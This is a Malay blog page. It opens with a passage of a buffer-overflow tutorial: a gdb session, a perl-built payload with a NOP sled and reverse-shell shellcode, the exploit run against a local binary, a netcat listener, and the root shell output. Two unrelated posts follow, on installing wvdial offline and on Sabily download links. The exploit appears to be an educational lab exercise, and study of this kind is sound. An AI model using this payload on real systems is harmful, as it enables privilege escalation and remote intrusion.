(gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","BBBB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

(gdb) x/2000xb $esp

...dipotong....

---Type to continue, or q to quit---
0xbffff6c0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6c8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6d0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6d8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6e8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6f8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff700: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff708: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff710: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff718: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff720: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff728: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff730: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff738: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff740: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff748: 0x41 0x41 0x41 0x41 0x90 0x90 0x90 0x90
0xbffff750: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff758: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff760: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff768: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff770: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff778: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff780: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
... dipotong ....

Anda perasan kan address berbeza dari user biasa. Sekarang saya pilih 0xbffff768. Dalam little endian menjadi \x68\xf7\xff\xbf.

Sekarang kita dah jumpa address untuk root.

(gdb) q

untuk keluar dari gdb

Oh ya, Jangan lupa untuk listen netcat di host anda dengan arahan "nc -l 12345 -vv" terlebih dahulu.

di terminal taip

./mangkuk `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","\x68\xf7\xff\xbf"'`

Sekarang lihat di netcat anda di host, cuba laksanakan arahan untuk user biasa tadi :)

[email protected]:~/Desktop$ nc -l 12345 -vv
Connection from 192.168.1.5 port 12345 [tcp/*] accepted
echo "ID mangsa:";whoami;echo "ID penuh:";id;echo "Folder sekarang:"; pwd;echo "Kernel Linux:"; uname -a;echo "Maklumat Distro:"; lsb_release -a
ID mangsa:
root
ID penuh:
uid=0(root) gid=0(root) groups=0(root)
Folder sekarang:
/home/saifool/Desktop
Kernel Linux:
Linux saifool-laptop 2.6.32-21-generic #32-Ubuntu SMP Fri Apr 16 08:10:02 UTC 2010 i686 GNU/Linux
Maklumat Distro:
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 10.04 LTS
Release: 10.04
Codename: lucid


Sekian, Terima Kasih. Sekiranya anda ada kemusykilan, silakan bertanya dengan memberikan komentar. Elakkan bahasa singkatan yang keterlaluan untuk memudahkan kefahaman saya. Terima kasih. Jangan lupa untuk membaca rujukan yang disertakan sekali di bawah.

Rujukan dan Bacaan Tambahan



http://www.packetstormsecurity.org/papers/attack/Preddy-tutorial.txt [Accessed June 26,2010]

Foster, J.C., 2005. Buffer overflow attacks: detect, exploit, prevent, Syngress Media Inc.

https://secure.wikimedia.org/wikipedia/en/wiki/Buffer_overflow [Accessed June 26,2010]

OWASP_Top_10_2007.pdf. Available at: http://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf [Accessed April 16, 2010].

Balaban, &., Buffer Overflows Demystified, Enderunix.org. Available at: http://www.securityforest.com/downloads/educationtree/bof-eng.txt [Accessed June 26, 2010].

Klein, &., 2004. Buffer Overflow, Available at: http://c0re.23.nu/~chris/presentations/overflow2005.pdf [Accessed June 26, 2010].

Rabu, 16 Jun 2010

Tutorial: Pasang wvdial secara luar talian (offline) untuk Ubuntu Lucid Lynx 64-bit dan 32-bit

Assalamualaikum dan Salam sejahtera,
Terlebih dahulu saya ingin memohon maaf di atas ketiadaan pos selama 3 bulan. Saya agak sibuk akhir-akhir ni dengan tesis dan hal-hal lain. Kali ni saya ingin menerangkan kaedah untuk memasang wvdial secara luar talian.

Kalau pasang secara dalam talian memang tidak sesusah mana. Anda cuma perlu "sudo apt-get usb-modeswitch wvdial" sahaja di terminal. Bagaimana kalau anda tiada talian internet atau hanya jalur lebar mudah alih (mobile broadband) itulah satu-satunya cara anda berada dalam talian (online)?

Dalam keadaan beginilah, tutorial ini sangat-sangat berguna.

1. Muat turun pakej wvdial untuk Ubuntu Lucid Lynx 10.04 64-bit di sini. Untuk Ubuntu Lucid Lynx 10.04 32-bit, ambil sini.

2. Ekstrak/Nyahmampat ke mana-mana yang folder anda suka.

3. Pasang libuniconf4.6_4.6.1-1_amd64.deb, libwvstreams4.6-base_4.6.1-1_amd64.deb, libwvstreams4.6-extras_4.6.1-1_amd64.deb, wvdial_1.60.3_amd64.deb, usb-modeswitch-data_20100127-1_all.deb, usb-modeswitch_1.1.0-2_amd64.deb. Pastikan ikut susunan yang saya nyatakan.

Untuk 32-bit, ikuti langkah yang sama;libuniconf4.6_4.6.1-1_i386.deb, libwvstreams4.6-base_4.6.1-1_i386.deb, libwvstreams4.6-extras_4.6.1-1_i386.deb, wvdial_1.60.3_i386.deb, usb-modeswitch-data_20100127-1_all.deb, usb-modeswitch_1.1.0-2_i386.deb. Pastikan ikut susunan yang saya nyatakan.

4.Dah selesai? Tiada masalah? Bagus,Sekarang masa untuk mengubahsuai usb-modeswitch.conf dan wvdial.conf
usb-modeswitch.conf tak perlu ubah apa-apa sekiranya anda menggunakan huawei E1550. Anda boleh abaikan langkah 5 dan 6.

Sekiranya anda menggunakan Huawei model lain, sila buka usb-modeswitch.conf dengan gedit dan buka terminal anda.
di Terminal, taip
lsusb
seperti gambar di bawah:




5. Dari gambar di atas anda akan dapat lihat senarai usb yang sedang anda pasang pada pc. Untuk keputusan yang terbaik, cabut peranti usb lain dan biarkan modem huawei anda sahaja. Kedudukan huawei saya itu sekadar contoh sahaja. Modem anda mungkin dikenalpasti sebagai "Huawei" atau "Unknown". Paling penting peranti anda dikenalpasti.

6. Sekarang buka usb-modeswitch.conf . Skrol hingga ke seperti anda lihat pada gambar dibawah:



ikut seperti dalam gambar. pastikan nombor tersebut ditulis dalam format 0x1001.

7. Sekarang buka wvdial.conf dengan gedit



Macam biasa ikut apa yang ada dalam gambar di atas.

8. Sekarang tekan Alt+F2, taip
gksudo nautilus

9. Pergi ke folder wvdial tadi di nautilus root, copy fail wvdial.conf dan usb-modeswitch.conf ke folder /etc

10. Anda sudah selesai memasang driver modem anda. Sekarang di terminal. sila taip
usb_modeswitch

sudo wvdial

11. Anda sudah boleh melayari internet. Sekiranya ada masalah, jangan segan-segan untuk memberikan komen bertanya.

Sabily 10.04 Minaret Beta

Assalamualaikum dan Salam sejahtera,

Sesiapa yang berminat untuk mencuba Sabily 10.04 beta, boleh download dari link di bawah

http://www.wuala.com/jmehdi/DVD%20ISO%20files/10.04/sabily-10.04-beta-desktop-i386.iso

http://94.23.239.117/sabily/sabily-10.04-beta-desktop-i386.iso

carian google

Custom Search